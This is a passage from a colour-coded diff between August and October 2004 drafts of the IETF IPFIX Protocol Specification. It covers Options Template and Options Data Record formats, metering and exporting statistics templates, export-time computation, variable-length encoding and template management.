   The Options Template Set Field Definitions are as follows: 
    
   Set ID = 3 
           A Set ID value of 3 is reserved for the Options Template. 
    
   Length 
           Total length of this Set, including the padding bytes, if 
           any.  Each Options Template Set MAY contain multiple Options 
           Template Records.  Thus, the Length value MUST be used to 
           determine the position of the next Set record, which could 
           be either a Template Set or Data Set.                 
           Length is the sum total of lengths of Set ID, the Length 
           itself, and all Options Template Records within this Set 
           Template ID. 
    
   Template ID 
           Template ID of this Options Template.  This value is greater 
           than 255. 
     
   <strike><font color=red>Option Scope Length 
           The length in bytes</font></strike> 
     
   <strong><font color=green>Field Count  
           Number</font></strong> of <strike><font color=red>any Scope</font></strike> <strong><font color=green>all</font></strong> fields <strike><font color=red>definition contained</font></strike> in <strong><font color=green>this Option Template Record, 
           including</font></strong> the <strike><font color=red>Options</font></strike> <strong><font color=green>Scope Fields.  Because a Option</font></strong> Template <strike><font color=red>Record (The use</font></strike> <strong><font color=green>Set 
           usually contains multiple Template Records, this field 
           allows the Collecting Process to determine the end</font></strong> of <strike><font color=red>"Scope" is 
           described below).</font></strike> <strong><font color=green>the 
           current</font></strong> Option <strike><font color=red>Length 
           The length (in bytes)</font></strike> <strong><font color=green>Template Record and the start</font></strong> of <strike><font color=red>any options field definitions 
           contained</font></strike> <strong><font color=green>the next.  
 
 
 
  Claise, et. al            Standard Track                   [Page 32] 
                   IPFIX Protocol Specification           October 2004 
 
 
   Scope Field Count  
           Number of scope fields</font></strong> in this <strike><font color=red>Options</font></strike> <strong><font color=green>Option</font></strong> Template Record.  
    
   Scope Field Type 
           A numeric value that represents the type of the field.  
           Refer to [IPFIX-INFO]. 
            
   Scope Field Length 
           The length (in bytes) of the Scope field, as it would appear 
           in an Options Data Record. 
            
   Scope N Enterprise Number  
           IANA enterprise number [PEN] of the authority defining  
           Scope N Field Type. This is 4 bytes long. 
    
   Option Field Type 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 29] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
           A numeric value that represents the type of field.  Refer to 
           [IPFIX-INFO]. 
            
   Option Field Length 
           The length of the corresponding Option Field Type, in bytes.  
           Refer to [IPFIX-INFO]. 
            
    Option M Enterprise Number  
           IANA enterprise number [PEN] of the authority defining the 
           Option M Field Type. This is 4 bytes long. 
            
   Padding  
           The Exporting Process MAY insert some padding bytes, so that 
           the subsequent Set starts at an aligned boundary.  Padding 
           MUST be composed of zero (0) bytes.  The padding length MUST 
           be shorter than any allowable Options Template Record in 
           this Options Template Set.  It is important to note that the 
           Length field includes the padding <strike><font color=red>bits.</font></strike> <strong><font color=green>bytes.</font></strong> 
    
   The Set ID value of 0 and 1 are not used for historical reasons 
   [NETFLOW9]. 

 7.5.3   Options Data Record Format 
    
   The Options Data Records are sent in Data Sets. 


 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 33] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
    
   The format of the Data Set, containing Options Data Records, is 
   shown in Figure K.   
    
    0                   1                   2                   3 
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |      Set ID = Template ID     |          Length               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 1 - Scope 1 Value    |   Record 1 - Scope 2 Value    | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |              ...              |Record 1 - Option Field 1 Value| 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |Record 1 - Option Field 2 Value|             ...               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 2 - Scope 1 Value    |   Record 2 - Scope 2 Value    | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |              ...              |Record 2 - Option Field 1 Value| 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 30] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |Record 2 - Option Field 2 Value|             ...               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |   Record 3 - Scope 1 Value    |   Record 3 - Scope 2 Value    | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |              ...              |Record 3 - Option Field 1 Value| 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |Record 3 - Option Field 2 Value|             ...               | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |              ...              |         Padding (opt)         | 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
      Figure K: Data Set format, containing Options Data Records  
    
   Options Data Records of the Data Set Field Descriptions  
    
   Set ID = Template ID 
           A Set ID precedes each group of Options Data Records within 
           a Data Set.  The Set ID maps to a previously generated 
           Template ID corresponding to this Options Template Record.  
           The Collecting Process MUST use the Set ID to map the 
           appropriate type and length to any field values that follow. 
            
   Length 
           The length of this Set.    
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 34] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
           Length is the sum of the lengths of the Set ID, Length 
           itself, all the Options Data Records within this Set, and 
           the padding bytes, if any. 
            
   Record N - Option Field M Value 
           The remainder of the Data Set is a collection of Flow 
           Records, each containing a set of Scope and Field Values.  
           The type and length of the fields were previously defined in 
           the Options Template Record referenced by the Set ID or 
           Template ID. 
            
   Padding  
           The Exporting Process MAY insert some padding bytes, so that 
           the subsequent Set starts at an aligned boundary.  Padding 
           MUST be composed of zero (0) bytes.  The padding length MUST 
           be shorter than any allowable Options Data Record in this 
           Data Set.  It is important to note that the Length field 
           includes the padding <strike><font color=red>bits. 
 
 
  Claise, et. al            Standard Track                   [Page 31] 
                   IPFIX Protocol Specification            August 2004</font></strike> <strong><font color=green>bytes.</font></strong> 
            
   The Data Set format can be interpreted only if the Options Template 
   Set corresponding to the <strike><font color=red>Template ID is available at</font></strike> <strong><font color=green>Template ID is available at the Collecting 
   Process. 
    
 8.     Specific Reporting Requirements 
 
   Some specific Options Templates and Options Templates Records are 
   necessary to provide extra information about the Flow Records and 
   about the Metering Process.    
        
   The ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines the type of information sent in 
   the Option Template / Option Template Record pair.  For example, if 
   the ipfixOption [IPFIX-INFO] value is METER_STATS, then the Option 
   Template will specify information about the Metering Process 
   statistics.  
    
   The Option Template and Option Template Records defined in these 
   sub-sections are not mandatory to implement as they impose some 
   constraints about the Metering Process implementation: this document 
   specifies the protocol to export the records, not the Metering 
   Process implementation.  However, if the specific Option Templates 
   are implemented, they should ideally be implemented as specified in 
   these sub-sections.  In any case, if the ipfixOption Information 

 
 
  Claise, et. al            Standard Track                   [Page 35] 
                   IPFIX Protocol Specification           October 2004 
 
 
   Element is present, it MUST always be the first Information Element 
   in the Option Template so that the Collector can quickly determine 
   which specific Option Template Record is received. 
         
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements may be used in these specific Options Templates.     
    
 8.1      The Metering Process Statistics Option Template 
  
   The Metering Process Statistics Option Template specifies the 
   Metering Process Statistics. It contains the following Information 
   Elements [IPFIX-INFO]:  
        ipfixOption             The value is METERING_STATS  
        exportedOctetCount      The number of all octets reported  
                                by the Exporting Process to</font></strong> the 
                                Collecting Process. 
    
 <strike><font color=red>8.     Specific Reporting Requirements 
    
   Some specific Options Templates and Options Templates Records are 
   necessary</font></strike> 
        <strong><font color=green>exportedPacketCount     The number of all packets reported  
                                by the exporting process</font></strong> to <strike><font color=red>provide extra information about</font></strike> the <strike><font color=red>Flow Records and 
   about</font></strike> 
                                <strong><font color=green>Collecting Process. 
        exportedFlowCount       The number of all flows records  
                                reported by</font></strong> the <strike><font color=red>Metering</font></strike> <strong><font color=green>Exporting Process 
                                to the Collecting</font></strong> Process.  
        <strong><font color=green>time</font></strong>                    The <strike><font color=red>ipfixOption Field [IPFIX-INFO], always included in these 
   specific Options Templates, defines</font></strike> <strong><font color=green>time at which</font></strong> the <strike><font color=red>type of information sent in</font></strike> <strong><font color=green>record was 
   generated  
     
   The Exporting Process should export</font></strong> the <strong><font color=green>Metering Process Statistics</font></strong> 
   Option Template <strike><font color=red>/</font></strike> <strong><font color=green>Record on a regular basis or based on some export 
   policy.  This periodicity or export policy should be configurable. 
   The Metering Process Statistics</font></strong> Option Template <strike><font color=red>Record pair.  For example, if</font></strike> <strong><font color=green>could be extended 
   with other Information Elements. 
    
   The Scope Field specified in</font></strong> the <strike><font color=red>ipfixOption [IPFIX-INFO] value</font></strike> <strong><font color=green>Metering Process Statistics Option 
   Template Record</font></strong> is <strike><font color=red>METER_STATS, then</font></strike> the <strong><font color=green>Source ID. 
    
 8.2      The Metering Process Reliability Statistics</font></strong> Option Template <strike><font color=red>will specify</font></strike> 
  
   <strong><font color=green>The Metering Process Reliability Option Template specifies</font></strong> 
   information about <strong><font color=green>lack of reliability in</font></strong> the Metering <strike><font color=red>Process 
   statistics.  The</font></strike> <strong><font color=green>process.  It 
   contains the following Information Elements [IPFIX-INFO]:</font></strong> 
    
        ipfixOption <strike><font color=red>[IPFIX-INFO] MUST always be</font></strike>             <strong><font color=green>The value is METERING_RELIABILITY_STATS 
        droppedFUPacketCount    Packets dropped by Metering Process 
 
 
  Claise, et. al            Standard Track                   [Page 36] 
                   IPFIX Protocol Specification           October 2004 
 
 
        droppedFUOctetCount     Bytes dropped by Metering Process  
        timeFirstFUDropped      Time of</font></strong> the first 
   <strike><font color=red>Information Element in</font></strike> <strong><font color=green>packet dropped at</font></strong> the <strike><font color=red>Option Template so that</font></strike>  
                                <strong><font color=green>Specified scope ID 
        timeLastFUDropped       Time of</font></strong> the <strike><font color=red>Collector can 
   quickly determine whether or not a specific Option Template is 
   described.  And if</font></strike> <strong><font color=green>last packet dropped at</font></strong> the <strike><font color=red>ipfixOption [IPFIX-INFO] is present,</font></strike>  
                                <strong><font color=green>Specified scope ID 
        time                    The time at</font></strong> which 
   <strike><font color=red>specific</font></strike> <strong><font color=green>the record was 
   generated  
    
   The Exporting Process should export the Metering Process Reliability 
   Statistics</font></strong> Option Template <strike><font color=red>type it defines. 
     
   The minimum set of Information Elements is always specified in these 
   Specific IPFIX Options Templates.  Nevertheless, extra Information 
   Elements MAY</font></strike> <strong><font color=green>Record on a regular basis or based on 
   some export policy.  This periodicity or export policy should</font></strong> be <strike><font color=red>used in these specific Options Templates.   
    
 8.1</font></strike> 
   <strong><font color=green>configurable.</font></strong> The Metering Process <strong><font color=green>Reliability</font></strong> Statistics Option 
   Template <strong><font color=green>could be extended with other Information Elements.</font></strong> 
    
   The <strong><font color=green>Scope Field specified in the</font></strong> Metering Process <strong><font color=green>Reliability</font></strong> 
   Statistics Option Template <strike><font color=red>defines</font></strike> <strong><font color=green>Record is</font></strong> the <strike><font color=red>Metering</font></strike> <strong><font color=green>Source ID. 
    
 8.3      The Exporting</font></strong> Process <strong><font color=green>Reliability</font></strong> Statistics <strike><font color=red>with the export</font></strike> <strong><font color=green>Option Template 
  
   The Exporting Process Reliability Option Template specifies 
   information about lack</font></strong> of <strong><font color=green>reliability in the Exporting process.  It 
   contains</font></strong> the following Information Elements [IPFIX-INFO]: 
    
        ipfixOption             The value <strike><font color=red>MUST be METER_STATS 
       observationDomain       Source ID 
       lostFlows               Flows</font></strike> <strong><font color=green>is  
                                EXPORTING_RELIABILITY_STATS 
        droppedFlows            Number of flow records</font></strong> not exported <strike><font color=red>due</font></strike>  
                                <strong><font color=green>(due</font></strong> to <strike><font color=red>resource</font></strike> <strong><font color=green>resources</font></strong> starvation 
       <strike><font color=red>lostFlowsPackets</font></strike> <strong><font color=green>at  
                                Exporting Process or due to some 
                                flow records export policies) 
        droppedFAPacketCount</font></strong>    Packets in the <strike><font color=red>lost Flows 
       lostFlowsBytes</font></strike> <strong><font color=green>dropped flows 
        droppedFAByteCount</font></strong>      Bytes in the <strike><font color=red>lost Flows  
       droppedPacketCount      Packets</font></strike> dropped <strike><font color=red>by Metering Process  
                           at</font></strike> <strong><font color=green>flows 
        timeFirstFADropped      Time of the first packet within the  
                                dropped flows 
        timeLastFADropped       Time of the last packet within</font></strong> the <strike><font color=red>Observation Point 
   droppedByteCount        Bytes</font></strike>  
                                dropped <strong><font color=green>flows 
        time                    The time at which the record was  
                                generated  
    
   The Exporting Process should export the Exporting Process 
   Reliability Statistics Option Template Record on a regular basis or 
   based on some export policy.  This periodicity or export policy 
   should be configurable. The Exporting Process Reliability Statistics 
   Option Template could be extended with other Information Elements. 
 
 
  Claise, et. al            Standard Track                   [Page 37] 
                   IPFIX Protocol Specification           October 2004 
 
 
    
   The Scope Field specified in the Exporter Reliability Statistics 
   Option Template Record is the Exporter ID. 
    
 8.4      The Flow Keys Option Template 
    
   The Flow Keys Option Template specifies the flow keys used</font></strong> by <strong><font color=green>the</font></strong> 
   Metering Process <strong><font color=green>for the Template ID definition. It contains the 
   following Information Elements [IPFIX-INFO]: 
    
        ipfixOption             The value is FLOW_KEY 
        keyList                 Bitmap with the positions of the flow  
                                keys in the template 
        time                    The time</font></strong> at <strong><font color=green>which</font></strong> the  
                                <strike><font color=red>Observation Domain 
        time;                   When this</font></strike> record was  
                                generated 
    
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 32] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
    
   The <strike><font color=red>minimum set of Information Element</font></strike> <strong><font color=green>Scope Field specified</font></strong> in the <strike><font color=red>Metering Process 
   Statistics</font></strike> <strong><font color=green>Flow Keys</font></strong> Option Template <strike><font color=red>is: ipfixOption, observationDomain, 
   lostFlows, time</font></strike> <strong><font color=green>Record is 
   the Template ID with which the flow keys are associated.</font></strong> 
 
 9.     Export Packet "Export Time" Computation and Flow Record Time 
    
 9.1      Microsecond Precision 
    
   For a Data Set with Flow Records requiring microsecond precision, 
   the Export Packet "Export Time" field MUST be calculated so that 
   each Flow Records flowStartUsec [IPFIX-INFO] and flowEndUsec [IPFIX-
   INFO] would contain a 32 bit signed microsecond offset from the 
   "Export Time" base timestamp.  Hereafter some pseudo code to 
   calculate the Export Time in one pass, which would return an 
   absolute duration of 35 minutes for all Flow Records contained in 
   the Data Set.  Flow Records MUST be exported in different Export 
   Packet if the absolute <strike><font color=red>duration</font></strike> <strong><font color=green>durations</font></strong> can not fit in those 35 minutes. 
    
   //  pseudo code for microsecond offset in IPFIX encoded Flow 
   Records. 
   // 
    
   struct flow{ 
      uint32  tv_sec; 
      uint32  tv_usec; 
      uint32  numbytes; 
      ...  // other Information Elements... 
   }; 
    
   struct flow flowtable [MAX_TABLE_SIZE]; 
   int lastflowindex = -1; 
    
   writeflows() { 

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 38] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      if (lastflowindex &lt; 0) return; 
      // simply take the second field from the first available flow    
      // and make this the base time for this collection of flows.     
      uint32  base_sec = flowtable[0].tv_sec; 
      writeheaderToSocket(base_sec); // put 32-bit second value in   
                                        header 
      for (int i=0; i&lt;=lastflowindex; i++){ 
         int32 offset = (flowtable[i].tv_sec - base_sec) * 1000000  
                        + flowtable[i].tv_usec; 


 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 33] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
         writeint32ToSocket(offset);  // put the 32-bit time offset  
                                         in the record. 
         // write other Information Elements... 
       } 
   } 
    
   A two pass approach calculation for the optimum (center) "Export 
   Time" base timestamp would allow an absolute duration of 71 minutes 
   for all Flow Records contained in the Data Set.  The two pass 
   approach MAY be used.  The "Export Time" base timestamp calculation 
   requires that at the Export Packet exporting time the Exporting 
   Process MUST run down the list of Flow Records in the Data Set 
   message and adjust the Flow start and Flow end timestamps. 
    
 9.2      Millisecond Precision 
    
   For a Data Set with Flow Records requiring a millisecond precision, 
   the same principles as in section <strike><font color=red>10.1</font></strike> <strong><font color=green>9.1</font></strong> "Microsecond Precision" will 
   be used.   
    
   The only difference will be that the Flow start and the Flow end 
   SHOULD now be represented respectively by the flowStartMsec [IPFIX-
   INFO] and flowEndMsec [IPFIX-INFO].  As a consequence of the 
   millisecond precision, the absolute duration of all Flow Records is 
   now of about 49 days.  The Export Header "Export Time" base time 
   SHOULD be calculated with the algorithm described in the Section 
   <strike><font color=red>10.1</font></strike> <strong><font color=green>9.1</font></strong> 
   "Microsecond Precision".  In order to reduce the load on the 
   Exporter, the Export Header "Export Time" MAY be the time in seconds 
   since 0000 UTC 1970 at which the Export Packet leaves the Exporter 
   and not the calculated optimum value anymore as described in section 
   <strike><font color=red>10.1</font></strike> 
   <strong><font color=green>9.1</font></strong> "Microsecond Precision". 
    
   Alternatively, for a Data Set with Flow Records requiring a 
   millisecond precision, the microsecond mechanism as described in 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 39] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   section <strike><font color=red>10.1</font></strike> <strong><font color=green>9.1</font></strong> MAY be used as such.  The Flow Record MAY use the 
   flowStartUsec [IPFIX-INFO] and flowEndUsec [IPFIX-INFO] rounded at a 
   millisecond precision.   
    
 9.3      Nanosecond Precision 
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 34] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   For a Data Set with Flow Records requiring a nanosecond precision, 
   all Flow Records will contain Flow start flowStartNsec [IPFIX-INFO] 
   and flowEndNsec [IPFIX-INFO].  The Export Header "Export Time" will 
   be of no use on the Collector side in this case as the flowStartNsec 
   [IPFIX-INFO] and flowEndNsec [IPFIX-INFO] both have a nanosecond 
   precision already.  Both flowStartNsec [IPFIX-INFO] and flowEndNsec 
   [IPFIX-INFO] use the NTP time format which is represented as a 64-
   bit value which contains a 32-bit specification of seconds since 
   1900 and a 32-bit "fraction" field.   Refer to <strike><font color=red>the NTP 
   specification, RFC1305, section 3.1 "Data Formats". 
    
 9.4      Multiple Precisions 
     
   When Flow Records requiring different precisions must be exported, 
   the Exporting Process SHOULD split the Flow Records in different 
   Data Set according to the precision:  millisecond, microsecond or 
   nanosecond. 
    
 10.      Linkage with the Information Model 
 
   The information model associates each IPFIX Information Element with 
   a well defined type, such as hexBinary, long, unsignedInt, etc. 
   This document defines how fields of a given type are encoded. 
    
 10.1       Boolean 
 
   A boolean field shall be encoded in a single byte with the value of 
   0 indicating false and any other value indicating true. 
    
 10.2       Byte 
 
   A byte value shall be encoded as a single byte representing a value 
   between -128 and 127.  The value is represented in two's complement 
   notation.   
    
 10.3       UnsignedByte 
 
   An unsigned byte value shall be encoded as a single byte 
   representing a value between 0 and 255. 
    
 10.4       Short 
 


 
 
  Claise, et. al            Standard Track                   [Page 35] 
                   IPFIX Protocol Specification            August 2004 
 
 
   A short is a 16-bit datum that encodes an integer</font></strike> <strong><font color=green>the NTP 
   specification, RFC1305, section 3.1 "Data Formats". 
    
 9.4      Multiple Precisions 
     
   When Flow Records requiring different precisions must be exported, 
   the Exporting Process SHOULD split the Flow Records</font></strong> in <strong><font color=green>different 
   Data Set according to</font></strong> the <strike><font color=red>range [-
   32768,32767].</font></strike> <strong><font color=green>precision: millisecond, microsecond or 
   nanosecond. 
    
 10.      Linkage with the Information Model</font></strong> 
 
   The <strike><font color=red>short is represented</font></strike> <strong><font color=green>Information Elements [IPFIX-INFO] MUST be sent in canonical 
   format</font></strong> in <strike><font color=red>two's complement 
   notation. 
    
 10.5</font></strike> <strong><font color=green>network byte order. 
    
 10.1</font></strong> 
      Reduced Size Encoding of Integer Types 
 
   Information Elements containing integer types in the information 
   model MAY be encoded using fewer bytes than those implied by their 
   type in the information model definition [IPFIX-INFO], based on the 
   assumption that the smaller type is sufficient to carry any value 
   the Exporter may need to deliver.  This reduces the network 
   bandwidth requirement between the Exporter and the Collector.  Note 
   that the Information Elements definition [IPFIX-INFO] will always 
   define the maximum encoding size. 
    
   For instance the information model [IPFIX-INFO] defines byteCount as 
   an unsignedLong type, which would require 64-bits.  However if the 
   Exporter will never locally encounter the need to send a value 
   larger than 4294967295, it may chose to send the value instead as an 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 40] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   unsignedInt.  For example, a core router would require an 
   unsignedLong byteCount while an unsignedInt might be sufficient for 
   an access router. 
    
   This behavior is indicated by the Exporter by specifying a type size 
   smaller than that associated with the assigned type of the field.  
   In the example above the Exporter would place a length of 4 versus 8 
   in the template. 
    
   If reduced sizing is used, it MUST be applied only to following 
   integer types: unsignedLong, long, unsignedInt, int, unsignedShort, 
   short.  In each case the downcasting MUST be to a smaller integer 
   type.  The same signed versus unsigned properties MUST be preserved. 
   Specifically unsignedLong may be downcast to unsignedInt, 
   unsignedShort or unsignedByte.  A long may be downcast to an int, a 
   short or a byte.  The other downcasts follow the same pattern. 
    
 11.      Variable Length Information Element 
 
   The IPFIX template mechanism is optimized for fixed length 
   Information Elements [IPFIX-INFO].  Where an Information Element has 
   a variable length the following mechanism MUST used to carry the 
   length information, for both the IETF and proprietary Information 
   Elements. 

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 36] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   In the Template Set the length is recorded as 65535.  This reserved 
   length value notifies the Collecting Process that length of the 
   Information Element will be carried in the Information Element 
   content itself. 
    
   In most cases the length of the Information Element will be less 
   than 256 bytes.  The following length encoding mechanism optimizes 
   the overhead of carrying the Information Element length in this 
   majority case. 
    
   If the length of the Information Element is less than 255 bytes, the 
   length is carried in the first byte of the Information Element, as 
   shown on Figure L. 
       0                   1                   2                   3 
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      | Length (&lt; 255)|          Information element                  | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 41] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
      |                      ... continuing as needed                 | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
     Figure L: Variable Length Information Element (length &lt; 255 bytes) 
    
   If the length of the Information Element is greater or equal than 
   <strike><font color=red>256</font></strike> 
   <strong><font color=green>255</font></strong> bytes, the first byte of the Information Element is 255, and the 
   length is carried in the second and third bytes of the Information 
   Element, as shown in Figure M. 
       0                   1                   2                   3 
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |      255      |        Length <strike><font color=red>(256</font></strike> <strong><font color=green>(255</font></strong> to 65535)       |   IE     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |                      ... continuing as needed                 | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
    
      Figure M: Variable Length Information Element  
               (length <strike><font color=red>256</font></strike> <strong><font color=green>255</font></strong> to 65535) bytes 
    
 12.      Template Management 
 
   Flow Data Records that correspond to a Template Record MAY appear in 
   the same and/or subsequent IPFIX Messages.  The Template Record is 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 37] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
   not necessarily carried in every IPFIX Message.  As such, the 
   Collecting Process MUST store the Template Record to interpret the 
   corresponding Flow Data Records that are received in subsequent data 
   messages. 
    
   A Collecting Process that receives IPFIX Messages from several 
   Observation Domains from the same Exporter MUST be aware that the 
   uniqueness of the Template ID is not guaranteed across Observation 
   Domains. 
    
   The Template IDs must remain constant for the life of the Metering 
   Process and the Exporting Process.  If the Exporting Process or the 
   Metering Process restarts for any reason, all information about 
   Templates will be lost and new Template IDs will be created.  
   Template IDs are thus not guaranteed to be consistent across an 
   Exporting Process or Metering Process restart. 
            
   If the measurement parameters change, a new Template ID SHOULD be 
   initiated and used. Examples of the measurement changes are: a new 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 42] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   sampling rate, a new flow expiration process, a new filtering 
   definitions, etc... A newly created Template Record is assigned an 
   unused Template ID by the Exporter.  If the template configuration 
   is changed, the current Template ID is abandoned and SHOULD NOT be 
   reused.  If a Collecting Process should receive a new definition for 
   an already existing Template ID, it MUST discard the previous 
   template definition and use the new one. 
    
   If a configured Template Record on the Exporting Process is deleted, 
   and re-configured with exactly the same parameters, the same 
   Template ID COULD be reused. 
    
   The Exporting Process sends the Template Set and Options Template 
   Set under the following conditions: 
    
    1. After a Metering Process restarts, the Exporting Process MUST 
       NOT send any Data Set without sending the corresponding Template 
       Set and the required Options Template Set in a previous message 
       or including it in the same IPFIX Message.  It MAY transmit the 
       Template Set and Options Template Set, without any Data Sets, in 
       advance to help ensure that the Collector will have the correct 
       Template Record before receiving the first Flow or Options Data 
       Record. 
     
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 38] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
     
    2. In the event of configuration changes, the Exporting Process 
       SHOULD send the new template definitions at an accelerated rate.  
       In such a case, it MAY transmit the changed Template Record(s) 
       and Options Template Record(s), without any data, in advance to 
       help ensure that the Collector will have the correct template 
       information before receiving the first data. 
     
    3. If the Template Records and Options Template Records are sent 
       using a transport protocol that is not fully reliable they MUST 
       be refreshed on a regular basis by the Exporting Process which 
       MUST re-send all the Template Records and Options Template 
       Records to the Collecting Process. 
     
 13.      The Collecting Process's Side 
    
   The Collecting Process receives Template Records from the Exporting 
   Process, normally before receiving Flow Data Records (or Options 
   Data Records).  The Flow Data Records (or Options Data Records) can 
   then be decoded and stored locally on the devices.  If the Template 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 43] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   Records have not been received at the time Flow Data Records (or 
   Options Data Records) are received, the Collecting Process SHOULD 
   store the Flow Data Records (or Options Data Records) and decode 
   them after the Template Records are received.  A Collecting Process 
   device MUST NOT assume that the Data Set and the associated Template 
   Set (or Options Template Set) are exported in the same IPFIX 
   Message. 
    
   The Collecting Process MUST NOT assume that one and only one 
   Template Set is present in an IPFIX Message.   
    
   The life of a template at the Collecting Process is limited to a 
   fixed refresh timeout.  Templates not refreshed from the Exporting 
   Process within the timeout are expired at the Collecting Process.  
   The Collecting Process MUST NOT attempt to decode the Flow or 
   Options Data Records with an expired Template.  At any given time 
   the Collecting Process SHOULD maintain the following for all the 
   current Template Records and Options Template Records: &lt;Exporting 
   Process, Observation Domain, Template ID, Template Definition, Last 
   Received&gt; 
   Note that the Observation Domain is identified by the Source ID 
   field from the IPFIX Message. 
    

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 39] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
   Template IDs are unique per Exporting Process and per Observation 
   Domain. 
    
   If the Collecting Process receives a new Template Record (for 
   example, in the case of an Exporter restart) it MUST immediately 
   override the existing Template Record. 
    
   The Collecting Process MUST note the Field ID of any Information 
   Element that it does not understand and MAY discard the Information 
   Element from the Flow Record.  The Collecting Process MUST note the 
   size and position of any Vendor Specified Information Element that 
   it does not understand and discard the Information Element from the 
   Flow Record. 
    
   The Collector MUST accept padding in the Data Set and Options 
   Template Set, which means for the Flow Data Records, the Options 
   Data Records and the Template Records. 
   Refer to the terminology summary table in Section 3.1. 
    

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 44] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   The IPFIX protocol has a sequence number field in the Export Header 
   which increases with each IPFIX Message.  A Collector may detect out 
   of sequence, dropped, or duplicate messages by tracking the sequence 
   number.  A collector SHOULD provide a logging mechanism for tracking 
   out of sequence messages.  Such out of sequence messages may be due 
   to congestion on the network link between the Exporter and 
   Collector, Collector resource exhaustion where it can not process 
   the IPFIX Messages at their arrival rate, Exporter resource 
   exhaustion where it can not transmit messages at their creation 
   rate, out of order packet reception, duplicate packet reception, an 
   Exporting Process reset, or an attacker injecting false messages. 
    
 14.      Security Considerations 
 
   Because IPFIX can be used to collect billing information and network 
   forensics, confusing or blinding IPFIX must be seen as a prime  
   objective during a sophisticated network attack.   
    
